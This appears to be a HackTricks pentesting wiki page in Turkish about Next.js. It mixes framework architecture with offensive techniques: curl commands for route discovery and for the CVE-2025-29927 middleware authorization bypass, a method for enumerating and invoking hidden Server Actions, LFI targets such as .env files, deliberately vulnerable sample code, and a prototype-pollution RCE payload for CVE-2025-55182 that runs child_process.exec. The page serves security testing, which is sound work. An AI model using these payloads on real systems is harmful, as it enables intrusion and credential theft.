NextJS

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!
• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.

Next.js Uygulamasının Genel Mimarisi

Tipik Dosya Yapısı

Standart bir Next.js projesi, yönlendirme, API uç noktaları ve statik varlık yönetimi gibi özelliklerini kolaylaştıran belirli bir dosya ve dizin yapısını takip eder. İşte tipik bir düzen:

my-nextjs-app/
├── node_modules/
├── public/
│   ├── images/
│   │   └── logo.png
│   └── favicon.ico
├── app/
│   ├── api/
│   │   └── hello/
│   │       └── route.ts
│   ├── layout.tsx
│   ├── page.tsx
│   ├── about/
│   │   └── page.tsx
│   ├── dashboard/
│   │   ├── layout.tsx
│   │   └── page.tsx
│   ├── components/
│   │   ├── Header.tsx
│   │   └── Footer.tsx
│   ├── styles/
│   │   ├── globals.css
│   │   └── Home.module.css
│   └── utils/
│       └── api.ts
├── .env.local
├── next.config.js
├── tsconfig.json
├── package.json
├── README.md
└── yarn.lock / package-lock.json

Temel Dizinler ve Dosyalar

• public/: Görseller, fontlar ve diğer dosyalar gibi statik varlıkları barındırır. Buradaki dosyalara root path (/) üzerinden erişilebilir.
• app/: Uygulamanızın sayfaları, layout’ları, bileşenleri ve API rotaları için merkezi dizin. App Router paradigmasını benimser; gelişmiş yönlendirme özellikleri ve sunucu-istemci bileşen ayrımı sağlar.
• app/layout.tsx: Uygulamanız için kök layout’u tanımlar, tüm sayfaları sarar ve header, footer ve navigation bar gibi tutarlı UI öğeleri sağlar.
• app/page.tsx: Kök rota / için giriş noktasıdır ve ana sayfayı render eder.
• app/[route]/page.tsx: Statik ve dinamik rotaları yönetir. app/ içindeki her klasör bir rota segmentini temsil eder ve bu klasörlerdeki page.tsx rota bileşenine karşılık gelir.
• app/api/: API rotalarını içerir; HTTP isteklerini işleyen serverless fonksiyonlar oluşturmanıza olanak tanır. Bu rotalar geleneksel pages/api dizininin yerini alır.
• app/components/: Farklı sayfa ve layout’larda kullanılabilecek yeniden kullanılabilir React bileşenlerini barındırır.
• app/styles/: Global CSS dosyalarını ve bileşen kapsamlı stiller için CSS Modules’u içerir.
• app/utils/: Yardımcı fonksiyonlar, helper modüller ve uygulama genelinde paylaşılabilecek diğer UI dışı mantıkları içerir.
• .env.local: Yerel geliştirme ortamına özgü çevresel değişkenleri saklar. Bu değişkenler versiyon kontrolüne eklenmez.
• next.config.js: Next.js davranışını özelleştirir; webpack konfigürasyonları, çevresel değişkenler ve güvenlik ayarları dahil.
• tsconfig.json: Projede TypeScript ayarlarını yapılandırır, tür denetimi ve diğer TypeScript özelliklerini etkinleştirir.
• package.json: Proje bağımlılıklarını, script’leri ve metadata’yı yönetir.
• README.md: Proje ile ilgili kurulum talimatları, kullanım yönergeleri ve diğer ilgili detayları içeren dokümantasyon sağlar.
• yarn.lock / package-lock.json: Projenin bağımlılıklarını belirli sürümlere kilitler ve farklı ortamlarda tutarlı kurulumlar sağlar.

Next.js’te İstemci Tarafı

app Dizini’nde Dosya Tabanlı Yönlendirme

app dizini, en yeni Next.js sürümlerinde yönlendirmenin temelidir. Rotaları tanımlamak için dosya sistemini kullanır; bu da rota yönetimini sezgisel ve ölçeklenebilir kılar.

my-nextjs-app/
├── app/
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/page.tsx

export default function HomePage() {
return (
<div>
<h1>Welcome to the Home Page!</h1>
<p>This is the root route.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── about/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/about/page.tsx

export default function AboutPage() {
return (
<div>
<h1>About Us</h1>
<p>Learn more about our mission and values.</p>
</div>
)
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── posts/
│   │   └── [id]/
│   │       └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/posts/[id]/page.tsx

import { useRouter } from 'next/navigation';

interface PostProps {
params: { id: string };
}

export default function PostPage({ params }: PostProps) {
const { id } = params;
// Fetch post data based on 'id'

return (
<div>
<h1>Post #{id}</h1>
<p>This is the content of post {id}.</p>
</div>
);
}

arduinoCopy codemy-nextjs-app/
├── app/
│   ├── dashboard/
│   │   ├── settings/
│   │   │   └── profile/
│   │   │       └── page.tsx
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

tsxCopy code// app/dashboard/settings/profile/page.tsx

export default function ProfileSettingsPage() {
return (
<div>
<h1>Profile Settings</h1>
<p>Manage your profile information here.</p>
</div>
);
}

my-nextjs-app/
├── app/
│   ├── [...slug]/
│   │   └── page.tsx
│   ├── layout.tsx
│   └── page.tsx
├── public/
├── next.config.js
└── ...

// app/[...slug]/page.tsx

interface CatchAllProps {
params: { slug: string[] }
}

export default function CatchAllPage({ params }: CatchAllProps) {
const { slug } = params
const fullPath = `/${slug.join("/")}`

return (
<div>
<h1>Catch-All Route</h1>
<p>You have navigated to: {fullPath}</p>
</div>
)
}

Potansiyel İstemci Tarafı Zafiyetleri

Next.js güvenli bir temel sağlasa da, hatalı kodlama uygulamaları zafiyetler ortaya çıkarabilir. Önemli istemci tarafı zafiyetler şunlardır:

// Dangerous: Injecting user input directly into HTML
function Comment({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} />
}

import React from "react"
import ejs from "ejs"

function RenderTemplate({ template, data }) {
const html = ejs.render(template, data)
return <div dangerouslySetInnerHTML={{ __html: html }} />
}

// pages/download.js
import { useState } from "react"

export default function DownloadPage() {
const [filePath, setFilePath] = useState("")

const handleDownload = () => {
fetch(`/api/files/${filePath}`)
.then((response) => response.blob())
.then((blob) => {
const url = window.URL.createObjectURL(blob)
const a = document.createElement("a")
a.href = url
a.download = filePath
a.click()
})
}

return (
<div>
<h1>Download File</h1>
<input
type="text"
value={filePath}
onChange={(e) => setFilePath(e.target.value)}
placeholder="Enter file path"
/>
<button onClick={handleDownload}>Download</button>
</div>
)
}

Recon: static export route discovery via _buildManifest

When nextExport/autoExport are true (static export), Next.js exposes the buildId in the HTML and serves a build manifest at /_next/static/<buildId>/_buildManifest.js. The sortedPages array and route→chunk mapping there enumerate every prerendered page without brute force.

• buildId’i kök yanıtından alın (çoğunlukla sayfanın altında yazılı olur) veya /_next/static/<buildId>/... yükleyen <script> etiketlerinden alın.
• Manifest’i çekin ve rotaları çıkarın:

build=$(curl -s http://target/ | grep -oE '"buildId":"[^"]+"' | cut -d: -f2 | tr -d '"')
curl -s "http://target/_next/static/${build}/_buildManifest.js" | grep -oE '"(/[a-zA-Z0-9_\[\]\-/]+)"' | tr -d '"'

• Bulunan yolları (ör. /docs, /docs/content/examples, /signin) kimlik doğrulama testleri ve endpoint keşfi için kullanın.

Next.js’de Sunucu Tarafı

Sunucu Tarafı Rendering (SSR)

Sayfalar her istekte sunucuda render edilir, böylece kullanıcı tam oluşturulmuş HTML alır. Bu durumda istekleri işlemek için kendi özel sunucunuzu oluşturmalısınız.

Kullanım Durumları:

• Sık sık değişen dinamik içerik.
• Arama motorları tam oluşturulmuş sayfayı tarayabildiğinden SEO optimizasyonu.

Uygulama:

// pages/index.js
export async function getServerSideProps(context) {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data } }
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Statik Site Üretimi (SSG)

Sayfalar derleme (build) zamanında önceden render edilir, bu da daha hızlı yükleme süreleri ve azalan sunucu yükü sağlar.

Kullanım Durumları:

• Sık sık değişmeyen içerikler.
• Bloglar, dokümantasyon, pazarlama sayfaları.

Uygulama:

// pages/index.js
export async function getStaticProps() {
const res = await fetch("https://api.example.com/data")
const data = await res.json()
return { props: { data }, revalidate: 60 } // Revalidate every 60 seconds
}

function HomePage({ data }) {
return <div>{data.title}</div>
}

export default HomePage

Sunucusuz Fonksiyonlar (API Routes)

Next.js, API uç noktalarının sunucusuz fonksiyonlar olarak oluşturulmasına izin verir. Bu fonksiyonlar, ad-hoc olarak çalışır ve özel bir sunucuya ihtiyaç duymaz.

Kullanım Durumları:

• Form gönderimlerini işleme.
• Veritabanlarıyla etkileşim.
• Verileri işleme veya üçüncü taraf API’lerle entegrasyon.

Uygulama:

app dizininin Next.js 13 ile tanıtılmasıyla, yönlendirme ve API işlemleri daha esnek ve güçlü hale geldi. Bu modern yaklaşım dosya tabanlı yönlendirme sistemiyle yakından uyumludur ancak server ve client bileşenlerini destekleme dahil olmak üzere geliştirilmiş yetenekler sunar.

Temel Rota İşleyici

Dosya Yapısı:

my-nextjs-app/
├── app/
│   └── api/
│       └── hello/
│           └── route.js
├── package.json
└── ...

Uygulama:

// app/api/hello/route.js

export async function POST(request) {
return new Response(JSON.stringify({ message: "Hello from App Router!" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// Client-side fetch to access the API endpoint
fetch("/api/submit", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ name: "John Doe" }),
})
.then((res) => res.json())
.then((data) => console.log(data))

Açıklama:

• Konum: API routes app/api/ dizini altında yer alır.
• Dosya Adlandırması: Her API endpoint’i kendi klasöründe yer alır ve içinde bir route.js veya route.ts dosyası bulunur.
• İhraç Edilen Fonksiyonlar: Tek bir default export yerine, belirli HTTP metotları için fonksiyonlar (ör. GET, POST) ihraç edilir.
• Response İşleme: Response constructor’ını kullanarak yanıt döndürün; bu, header’lar ve durum kodları üzerinde daha fazla kontrol sağlar.

Diğer yolları ve metotları nasıl ele almak:

// app/api/users/[id]/route.js

export async function GET(request, { params }) {
const { id } = params
// Fetch user data based on 'id'
return new Response(JSON.stringify({ userId: id, name: "Jane Doe" }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function PUT(request, { params }) {
const { id } = params
// Update user data based on 'id'
return new Response(JSON.stringify({ message: `User ${id} updated.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

export async function DELETE(request, { params }) {
const { id } = params
// Delete user based on 'id'
return new Response(JSON.stringify({ message: `User ${id} deleted.` }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/[...slug]/route.js

export async function GET(request, { params }) {
const { slug } = params
// Handle dynamic nested routes
return new Response(JSON.stringify({ slug }), {
status: 200,
headers: { "Content-Type": "application/json" },
})
}

// app/api/posts/[postId]/comments/[commentId]/route.js

export async function GET(request, { params }) {
const { postId, commentId } = params
// Fetch specific comment for a post
return new Response(
JSON.stringify({ postId, commentId, comment: "Great post!" }),
{
status: 200,
headers: { "Content-Type": "application/json" },
}
)
}

goCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── hello.js
├── package.json
└── ...

javascriptCopy code// pages/api/hello.js

export default function handler(req, res) {
res.status(200).json({ message: 'Hello, World!' });
}

bashCopy codemy-nextjs-app/
├── pages/
│   └── api/
│       └── users/
│           └── [id].js
├── package.json
└── ...

javascriptCopy code// pages/api/users/[id].js

export default function handler(req, res) {
const {
query: { id },
method,
} = req;

switch (method) {
case 'GET':
// Fetch user data based on 'id'
res.status(200).json({ userId: id, name: 'John Doe' });
break;
case 'PUT':
// Update user data based on 'id'
res.status(200).json({ message: `User ${id} updated.` });
break;
case 'DELETE':
// Delete user based on 'id'
res.status(200).json({ message: `User ${id} deleted.` });
break;
default:
res.setHeader('Allow', ['GET', 'PUT', 'DELETE']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

javascriptCopy code// pages/api/posts.js

export default async function handler(req, res) {
const { method } = req;

switch (method) {
case 'GET':
// Handle GET request
res.status(200).json({ message: 'Fetching posts.' });
break;
case 'POST':
// Handle POST request
res.status(201).json({ message: 'Post created.' });
break;
default:
res.setHeader('Allow', ['GET', 'POST']);
res.status(405).end(`Method ${method} Not Allowed`);
}
}

CORS Yapılandırması

API rotalarınıza hangi origin’lerin erişebileceğini kontrol edin, Cross-Origin Resource Sharing (CORS) zaafiyetlerini azaltın.

Kötü Yapılandırma Örneği:

// app/api/data/route.js

export async function GET(request) {
return new Response(JSON.stringify({ data: "Public Data" }), {
status: 200,
headers: {
"Access-Control-Allow-Origin": "*", // Allows any origin
"Access-Control-Allow-Methods": "GET, POST, PUT, DELETE",
},
})
}

Unutmayın ki CORS can also be configured in all the API routes middleware.ts dosyası içinde:

// app/middleware.ts

import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(request: NextRequest) {
const allowedOrigins = [
"https://yourdomain.com",
"https://sub.yourdomain.com",
]
const origin = request.headers.get("Origin")

const response = NextResponse.next()

if (allowedOrigins.includes(origin || "")) {
response.headers.set("Access-Control-Allow-Origin", origin || "")
response.headers.set(
"Access-Control-Allow-Methods",
"GET, POST, PUT, DELETE, OPTIONS"
)
response.headers.set(
"Access-Control-Allow-Headers",
"Content-Type, Authorization"
)
// If credentials are needed:
// response.headers.set('Access-Control-Allow-Credentials', 'true');
}

// Handle preflight requests
if (request.method === "OPTIONS") {
return new Response(null, {
status: 204,
headers: response.headers,
})
}

return response
}

export const config = {
matcher: "/api/:path*", // Apply to all API routes
}

Sorun:

• Access-Control-Allow-Origin: '*': Herhangi bir web sitesinin API’ye erişmesine izin verir; kötü amaçlı sitelerin API’nizle sınırlama olmadan etkileşime girmesine olanak tanıyabilir.
• Geniş Yöntem İzni: Tüm yöntemlere izin vermek, saldırganların istenmeyen işlemler gerçekleştirmesine olanak sağlayabilir.

Saldırganlar bunu nasıl kötüye kullanır:

Saldırganlar, API’nize istek gönderen kötü amaçlı web siteleri oluşturabilir; bu, veri alma, veri manipülasyonu veya kimlik doğrulanmış kullanıcılar adına istenmeyen işlemleri tetikleme gibi işlevlerin kötüye kullanılmasına yol açabilir.

CORS - Misconfigurations & Bypass

Sunucu kodunun İstemci Tarafında Açığa Çıkması

Sunucuda kullanılan kodun istemci tarafında açığa çıkan ve kullanılan kodda da kolayca kullanılabilmesi mümkündür; bir kod dosyasının asla istemci tarafında açığa çıkmamasını sağlamak için dosyanın başında bu import’u kullanmak en iyi yoldur:

import "server-only"

Anahtar Dosyalar ve Rolleri

middleware.ts / middleware.js

Konum: Proje kökü veya src/ içinde.

Amaç: Bir istek işlenmeden önce sunucu tarafındaki serverless fonksiyonda kod çalıştırır; kimlik doğrulama, yönlendirmeler veya yanıtları değiştirme gibi görevleri yapmaya olanak tanır.

Çalışma Akışı:

1. Gelen İstek: Middleware isteği yakalar.
2. İşleme: İstek bazında işlemler yapar (ör. kimlik doğrulama kontrolü).
3. Yanıtı Değiştirme: Yanıtı değiştirebilir veya kontrolü bir sonraki işleyiciye bırakabilir.

Örnek Kullanım Durumları:

• Kimliği doğrulanmamış kullanıcıları yönlendirme.
• Özel başlıklar ekleme.
• İstekleri kaydetme.

Örnek Yapılandırma:

// middleware.ts
import { NextResponse } from "next/server"
import type { NextRequest } from "next/server"

export function middleware(req: NextRequest) {
const url = req.nextUrl.clone()
if (!req.cookies.has("token")) {
url.pathname = "/login"
return NextResponse.redirect(url)
}
return NextResponse.next()
}

export const config = {
matcher: ["/protected/:path*"],
}

Middleware authorization bypass (CVE-2025-29927)

If authorization is enforced in middleware, affected Next.js releases (<12.3.5 / 13.5.9 / 14.2.25 / 15.2.3) can be bypassed by injecting the x-middleware-subrequest header. The framework will skip middleware recursion and return the protected page.

• Varsayılan davranış genellikle /api/auth/signin gibi bir giriş rotasına 307 yönlendirmesidir.
• Yanıtı 200’e çevirmek için uzun bir x-middleware-subrequest değeri gönderin (middleware’i tekrar ederek MAX_RECURSION_DEPTH’e ulaşın):

curl -i "http://target/docs" \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

• Kimlik doğrulamalı sayfalar birçok alt kaynak çektiğinden, varlıkların yönlendirilmesini önlemek için başlığı her isteğe ekleyin (e.g., Burp Match/Replace with an empty match string) to keep assets from redirecting.

next.config.js

Location: Projenin kök dizini.

Purpose: Next.js davranışını yapılandırır; özellikleri etkinleştirme/devre dışı bırakma, webpack yapılandırmalarını özelleştirme, ortam değişkenlerini ayarlama ve çeşitli güvenlik özelliklerini yapılandırma.

Key Security Configurations:

// next.config.js

module.exports = {
async headers() {
return [
{
source: "/(.*)", // Apply to all routes
headers: [
{
key: "X-Frame-Options",
value: "DENY",
},
{
key: "Content-Security-Policy",
value:
"default-src *; script-src 'self' 'unsafe-inline' 'unsafe-eval';",
},
{
key: "X-Content-Type-Options",
value: "nosniff",
},
{
key: "Strict-Transport-Security",
value: "max-age=63072000; includeSubDomains; preload", // Enforces HTTPS
},
{
key: "Referrer-Policy",
value: "no-referrer", // Completely hides referrer
},
// Additional headers...
],
},
]
},
}

// next.config.js

module.exports = {
images: {
domains: ["*"], // Allows images from any domain
},
}

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

https://yourdomain.com/redirect?url=https://malicious-site.com

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

pages/_app.js ve pages/_document.js

pages/_app.js

Purpose: Varsayılan App bileşenini override ederek global state, stiller ve layout bileşenlerine izin verir.

Use Cases:

• Global CSS inject etmek.
• Layout sarmalayıcıları eklemek.
• Durum yönetimi kütüphanelerini entegre etmek.

Example:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Amaç: Varsayılan Document öğesini geçersiz kılar; HTML ve Body etiketlerinin özelleştirilmesine olanak tanır.

Kullanım Durumları:

• <html> veya <body> etiketlerini değiştirme.
• meta etiketleri veya özel scriptler ekleme.
• üçüncü taraf yazı tiplerini entegre etme.

Örnek:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Özel Sunucu (İsteğe Bağlı)

Amaç: Next.js dahili bir sunucu ile gelir, ancak özel yönlendirme veya mevcut backend servisleriyle entegrasyon gibi gelişmiş kullanım durumları için özel bir sunucu oluşturabilirsiniz.

Not: Özel bir sunucu kullanmak dağıtım seçeneklerini kısıtlayabilir, özellikle Next.js’in dahili sunucusu için optimize eden Vercel gibi platformlarda.

Örnek:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

Ek Mimari ve Güvenlik Hususları

Ortam Değişkenleri ve Yapılandırma

Amaç: Hassas bilgilerin ve yapılandırma ayarlarının kod tabanının dışında yönetilmesi.

En İyi Uygulamalar:

• .env Dosyalarını Kullanın: API anahtarları gibi değişkenleri .env.local içinde saklayın (sürüm kontrolüne dahil edilmez).
• Değişkenlere Güvenli Erişim: process.env.VARIABLE_NAME kullanarak ortam değişkenlerine erişin.
• İstemci Tarafında Gizli Bilgileri Asla Açığa Çıkarmayın: Hassas değişkenlerin yalnızca sunucu tarafında kullanıldığından emin olun.

Örnek:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Not: Değişkenleri yalnızca sunucu tarafında sınırlamak için, onları env nesnesinden çıkarın veya istemciye açmak için NEXT_PUBLIC_ ile önekleyin.

LFI/download endpoints aracılığıyla hedeflenecek yararlı sunucu artefaktları

Bir Next.js uygulamasında path traversal veya download API’si bulursanız, sunucu tarafı sırlarını ve kimlik doğrulama mantığını leak eden derlenmiş artefaktları hedefleyin:

• .env / .env.local oturum sırları ve sağlayıcı kimlik bilgileri için.
• .next/routes-manifest.json ve .next/build-manifest.json tam bir rota listesi için.
• .next/server/pages/api/auth/[...nextauth].js derlenmiş NextAuth yapılandırmasını geri kazanmak için (genellikle process.env değerleri ayarlı olmadığında fallback parolaları içerir).
• next.config.js / next.config.mjs yeniden yazmaları, yönlendirmeleri ve middleware yönlendirmesini incelemek için.

Kimlik Doğrulama ve Yetkilendirme

Yaklaşım:

• Oturum Tabanlı Kimlik Doğrulama: Kullanıcı oturumlarını yönetmek için çerezleri kullanın.
• Token Tabanlı Kimlik Doğrulama: Durumsuz kimlik doğrulama için JWT’leri uygulayın.
• Üçüncü Taraf Sağlayıcılar: next-auth gibi kütüphaneler kullanarak OAuth sağlayıcıları (ör. Google, GitHub) ile entegrasyon yapın.

Güvenlik Uygulamaları:

• Güvenli Çerezler: HttpOnly, Secure ve SameSite özniteliklerini ayarlayın.
• Parola Hash’leme: Parolaları saklamadan önce mutlaka hash’leyin.
• Girdi Doğrulama: Girdileri doğrulayarak ve temizleyerek injection saldırılarını önleyin.

Örnek:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

Performans Optimizasyonu

Stratejiler:

• Görüntü Optimizasyonu: Otomatik görüntü optimizasyonu için Next.js’in next/image bileşenini kullanın.
• Kod Bölme: Dinamik importları kullanarak kodu bölün ve başlangıç yükleme sürelerini azaltın.
• Önbellekleme: API yanıtları ve statik varlıklar için önbellekleme stratejileri uygulayın.
• Tembel Yükleme: Bileşenleri veya varlıkları yalnızca gerektiğinde yükleyin.

Örnek:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions Enumerasyonu (hash to function name via source maps)

Modern Next.js, sunucuda çalışan fakat istemci tarafından tetiklenen “Server Actions” kullanır.

Prodüksiyonda bu çağrılar opaktır: tüm POST’lar ortak bir endpoint’e yönlendirilir ve Next-Action header’ında gönderilen build-özgü bir hash ile ayırt edilirler. Örnek:

POST /
Next-Action: a9f8e2b4c7d1...

productionBrowserSourceMaps etkinleştirildiğinde, minified JS chunks createServerReference(...) çağrıları içerir; bu çağrılar action hash ile orijinal function name arasında bir eşleme kurtarmak için yeterli yapıyı leak eder (ilişkili source maps ile birlikte). Bu, Next-Action’ta gözlemlenen hash’leri deleteUserAccount() veya exportFinancialData() gibi somut hedeflere çevirmenizi sağlar.

Çıkarma yaklaşımı (regex on minified JS + optional source maps)

İndirilen JS chunks içinde createServerReference arayın ve hash ile function/source sembolünü çıkarın. İki faydalı desen:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)

• Grup 1: sunucu action hash (40+ hex karakter)
• Grup 2: source map mevcutsa orijinal fonksiyona çözümlenebilen sembol veya yol

If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.

Pratik iş akışı

• Gözatma sırasında pasif keşif: Next-Action header’ları ve JS chunk URL’lerini içeren istekleri yakalayın.
• Referans verilen JS bundle’larını ve beraberindeki *.map dosyalarını (mevcutsa) fetch edin.
• Yukarıdaki regex’i çalıştırarak bir hash↔isim sözlüğü oluşturun.
• Sözlüğü test hedeflemede kullanın:
  • İsim temelli triage (ör. transferFunds, exportFinancialData).
  • Fonksiyon adına göre build’ler arası kapsamanın takibi (hash’ler build’ler arasında döner).

Gizli action’ları çalıştırma (şablon tabanlı istek)

Proxy içinde gözlemlenen geçerli bir POST’u şablon olarak alın ve Next-Action değerini keşfedilen başka bir action’ı hedefleyecek şekilde değiştirin:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Repeater’da replay yapın ve aksi halde ulaşılamayan eylemlerin authorization, input validation ve business logic’ini test edin.

Burp automation

• NextjsServerActionAnalyzer (Burp extension) yukarıdakileri Burp içinde otomatikleştirir:
• Proxy geçmişini JS chunk’ları için tarar, createServerReference(...) girdilerini çıkarır ve mevcutsa source map’leri çözer.
• Aranabilir bir hash↔function-name dictionary tutar ve function name’e göre build’lar arasında de-duplicate yapar.
• Geçerli bir template POST bulabilir ve hedef action’ın hash’i yerleştirilmiş olarak gönderilmeye hazır bir Repeater sekmesi açabilir.
• Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Notes and limitations

• İsimleri bundle’lar/source map’lerden kurtarmak için production ortamda productionBrowserSourceMaps etkin olması gerekir.
• Function-name disclosure tek başına bir zafiyet değildir; discovery’yi yönlendirmek ve her action’ın authorization’ını test etmek için kullanın.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router dağıtımları, Server Actions’ı react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) üzerinde expose edenler, Flight chunk deserialization sırasında kritik bir server-side prototype pollution içerir. Flight yükü içinde $ referansları oluşturarak bir saldırgan kirletilmiş prototiplerden rastgele JavaScript yürütmeye ve ardından Node.js sürecinde OS komut yürütmeye geçiş yapabilir.

NodeJS - proto & prototype Pollution

Attack chain in Flight chunks

1. Prototype pollution primitive: "then": "$1:__proto__:then" olarak ayarlayın, böylece resolver Object.prototype üzerine bir then fonksiyonu yazar. Daha sonra işlenen herhangi bir düz nesne thenable olur ve saldırgan RSC içindeki async kontrol akışını etkileyebilir.
2. Rebinding to the global Function constructor: _response._formData.get’i "$1:constructor:constructor" olarak gösterin. Çözümleme sırasında, object.constructor → Object, ve Object.constructor → Function olur; böylece gelecekte _formData.get() çağrıları aslında Function(...)’ı çalıştırır.
3. Code execution via _prefix: JavaScript kaynağını _response._prefix içine koyun. Kirletilmiş _formData.get çağrıldığında framework Function(_prefix)(...)’i değerlendirir, böylece enjekte edilen JS require('child_process').exec() veya herhangi başka bir Node primitive’i çalıştırabilir.

Payload skeleton

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

React Server Function maruziyetini haritalama

React Server Functions (RSF), 'use server'; direktifini içeren tüm fonksiyonlardır. Bu fonksiyonlara bağlı her form action, mutation veya fetch helper, saldırgan tarafından sağlanan payload’ları memnuniyetle deserialize edecek bir RSC Flight endpoint’e dönüşür. React2Shell değerlendirmelerinden türetilen faydalı keşif adımları:

• Statik envanter: Direktifi arayın; çerçevenin otomatik olarak kaç RSF’yi açığa çıkardığını anlayın.

rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/

• App Router defaults: create-next-app varsayılan olarak App Router + app/ dizinini etkinleştirir; bu da her route’u sessizce RSC-uyumlu bir endpoint’e dönüştürür. App Router varlıkları, ör. /_next/static/chunks/app/ veya Flight chunk’larını text/x-component üzerinden stream eden yanıtlar, İnternet’e açık güçlü ayırt edici izlerdir.
• Implicitly vulnerable RSC deployments: React’in kendi bildirimi, RSC runtime’ını içeren uygulamaların açık RSFs olmadan bile istismara açık olabileceğini belirtiyor; bu yüzden react-server-dom-* 19.0.0–19.2.0 kullanan her build’i şüpheli kabul edin.
• Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku vb. aynı serializer’ı yeniden kullanır ve patched React build’lerini gömünceye kadar aynı uzak saldırı yüzeyini miras alırlar.

Version coverage (React2Shell)

• react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: etkilenebilir sürümler 19.0.0, 19.1.0–19.1.1 ve 19.2.0; düzeltilmiş sürümler sırasıyla 19.0.1, 19.1.2 ve 19.2.1.
• Next.js stable: App Router sürümleri 15.0.0–16.0.6 etkilenen RSC yığını içerir. Patch trenleri 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 sabitlenmiş bağımlılıklar içerir; bu sürümlerin altındaki herhangi bir build yüksek değere sahiptir.
• Next.js canary: 14.3.0-canary.77+ da hatalı runtime’ı gönderir ve şu anda patched canary sürümleri yok; bu nedenle bu parmak izleri güçlü istismar adaylarıdır.

Uzak tespit yöntemi

Assetnote’in react2shell-scanner, aday yollarına hazırlanmış bir multipart Flight isteği gönderir ve sunucu tarafı davranışını izler:

• Default mode deterministik bir RCE payload’u (matematiksel işlem X-Action-Redirect üzerinden yansıtılarak) çalıştırır ve kod yürütmeyi kanıtlar.
